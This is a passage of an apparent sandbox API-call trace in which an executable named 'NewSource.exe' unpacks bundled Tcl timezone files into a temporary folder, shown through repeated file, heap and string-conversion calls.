0xb8 [0043.500] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb8) returned 0x5608f0 [0043.500] htonl (hostlong=0x91000000) returned 0x91 [0043.500] htonl (hostlong=0xb8000000) returned 0xb8 [0043.500] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.500] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.500] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.500] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.500] CloseHandle (hObject=0x10c) returned 1 [0043.500] GetLastError () returned 0x0 [0043.500] SetLastError (dwErrCode=0x0) [0043.500] GetLastError () returned 0x0 [0043.500] SetLastError (dwErrCode=0x0) [0043.500] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.500] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.500] GetFileType (hFile=0x10c) returned 0x1 [0043.500] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.500] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.501] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.501] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.501] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.501] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.501] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.501] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.501] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.501] CloseHandle (hObject=0x10c) returned 1 [0043.501] GetLastError () returned 0x0 [0043.501] SetLastError (dwErrCode=0x0) [0043.501] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.501] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.501] GetFileType (hFile=0x10c) returned 0x1 [0043.501] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.501] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.501] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.501] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.501] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.501] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.501] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.501] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.501] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.501] CloseHandle (hObject=0x10c) returned 1 [0043.501] GetLastError () returned 0x0 [0043.501] SetLastError (dwErrCode=0x0) [0043.502] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV") returned 64 [0043.502] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.502] GetFileType (hFile=0x10c) returned 0x1 [0043.502] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.502] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.502] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.502] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.502] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.502] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.502] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.502] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.502] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.502] CloseHandle (hObject=0x10c) returned 1 [0043.502] GetLastError () returned 0x0 [0043.502] SetLastError (dwErrCode=0x0) [0043.502] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\MST7") returned 69 [0043.502] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\MST7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv\\mst7"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.502] GetLastError () returned 0x2 [0043.502] SetLastError (dwErrCode=0x2) [0043.502] GetLastError () returned 0x2 [0043.502] SetLastError (dwErrCode=0x2) [0043.502] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\MST7", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\MST7", lpFilePart=0x0) returned 0x44 [0043.502] GetLastError () returned 0x2 [0043.502] SetLastError (dwErrCode=0x2) [0043.502] GetLastError () returned 0x2 [0043.502] SetLastError (dwErrCode=0x2) [0043.502] GetLastError () returned 0x2 [0043.503] SetLastError (dwErrCode=0x2) [0043.503] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\MST7") returned 69 [0043.503] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.503] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\MST7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv\\mst7"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.504] GetFileType (hFile=0x10c) returned 0x1 [0043.505] htonl (hostlong=0xb8000000) returned 0xb8 [0043.505] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.505] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xb8, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xb8, lpOverlapped=0x0) returned 1 [0043.505] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.505] CloseHandle (hObject=0x10c) returned 1 [0043.506] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5608f0 | out: hHeap=0x530000) returned 1 [0043.506] htonl (hostlong=0x30000000) returned 0x30 [0043.506] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.506] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.506] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.506] GetFileType (hFile=0x10c) returned 0x1 [0043.506] htonl (hostlong=0x522f5d00) returned 0x5d2f52 [0043.506] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61df52, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.506] htonl (hostlong=0x92000000) returned 0x92 [0043.506] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x92) returned 0x55cfe0 [0043.506] htonl (hostlong=0x92000000) returned 0x92 [0043.506] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.506] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.506] htonl (hostlong=0xb8000000) returned 0xb8 [0043.506] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb8) returned 0x560170 [0043.506] htonl (hostlong=0x92000000) returned 0x92 [0043.506] htonl (hostlong=0xb8000000) returned 0xb8 [0043.506] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.506] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.506] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.506] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.506] CloseHandle (hObject=0x10c) returned 1 [0043.506] GetLastError () returned 0x0 [0043.506] SetLastError (dwErrCode=0x0) [0043.507] GetLastError () returned 0x0 [0043.507] SetLastError (dwErrCode=0x0) [0043.507] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.507] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.507] GetFileType (hFile=0x10c) returned 0x1 [0043.507] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.507] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.507] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.507] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.507] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.507] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.507] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.507] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.507] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.507] CloseHandle (hObject=0x10c) returned 1 [0043.507] GetLastError () returned 0x0 [0043.507] SetLastError (dwErrCode=0x0) [0043.507] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.507] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.507] GetFileType (hFile=0x10c) returned 0x1 [0043.507] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.507] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.507] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.507] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.507] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.508] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.508] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.508] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.508] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.508] CloseHandle (hObject=0x10c) returned 1 [0043.508] GetLastError () returned 0x0 [0043.508] SetLastError (dwErrCode=0x0) [0043.508] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV") returned 64 [0043.508] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.508] GetFileType (hFile=0x10c) returned 0x1 [0043.508] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.508] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.508] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.508] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.508] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.508] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.508] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.508] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.508] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.508] CloseHandle (hObject=0x10c) returned 1 [0043.508] GetLastError () returned 0x0 [0043.508] SetLastError (dwErrCode=0x0) [0043.508] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\MST7MDT") returned 72 [0043.508] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\MST7MDT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv\\mst7mdt"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.509] GetLastError () returned 0x2 [0043.509] SetLastError (dwErrCode=0x2) [0043.509] GetLastError () returned 0x2 [0043.509] SetLastError (dwErrCode=0x2) [0043.509] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\MST7MDT", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\MST7MDT", lpFilePart=0x0) returned 0x47 [0043.509] GetLastError () returned 0x2 [0043.509] SetLastError (dwErrCode=0x2) [0043.509] GetLastError () returned 0x2 [0043.509] SetLastError (dwErrCode=0x2) [0043.509] GetLastError () returned 0x2 [0043.509] SetLastError (dwErrCode=0x2) [0043.509] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\MST7MDT") returned 72 [0043.509] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.509] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\MST7MDT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv\\mst7mdt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.509] GetFileType (hFile=0x10c) returned 0x1 [0043.509] htonl (hostlong=0xb8000000) returned 0xb8 [0043.509] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.509] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xb8, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xb8, lpOverlapped=0x0) returned 1 [0043.510] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.510] CloseHandle (hObject=0x10c) returned 1 [0043.510] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560170 | out: hHeap=0x530000) returned 1 [0043.510] htonl (hostlong=0x30000000) returned 0x30 [0043.510] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.510] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.510] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.510] GetFileType (hFile=0x10c) returned 0x1 [0043.511] htonl (hostlong=0xe42f5d00) returned 0x5d2fe4 [0043.511] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61dfe4, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.511] htonl (hostlong=0x91000000) returned 0x91 [0043.511] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x91) returned 0x55cfe0 [0043.511] htonl (hostlong=0x91000000) returned 0x91 [0043.511] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.511] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.511] htonl (hostlong=0xbb000000) returned 0xbb [0043.511] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbb) returned 0x55d748 [0043.511] htonl (hostlong=0x91000000) returned 0x91 [0043.511] htonl (hostlong=0xbb000000) returned 0xbb [0043.511] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.511] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.511] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.511] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.511] CloseHandle (hObject=0x10c) returned 1 [0043.511] GetLastError () returned 0x0 [0043.511] SetLastError (dwErrCode=0x0) [0043.511] GetLastError () returned 0x0 [0043.511] SetLastError (dwErrCode=0x0) [0043.511] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.511] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, 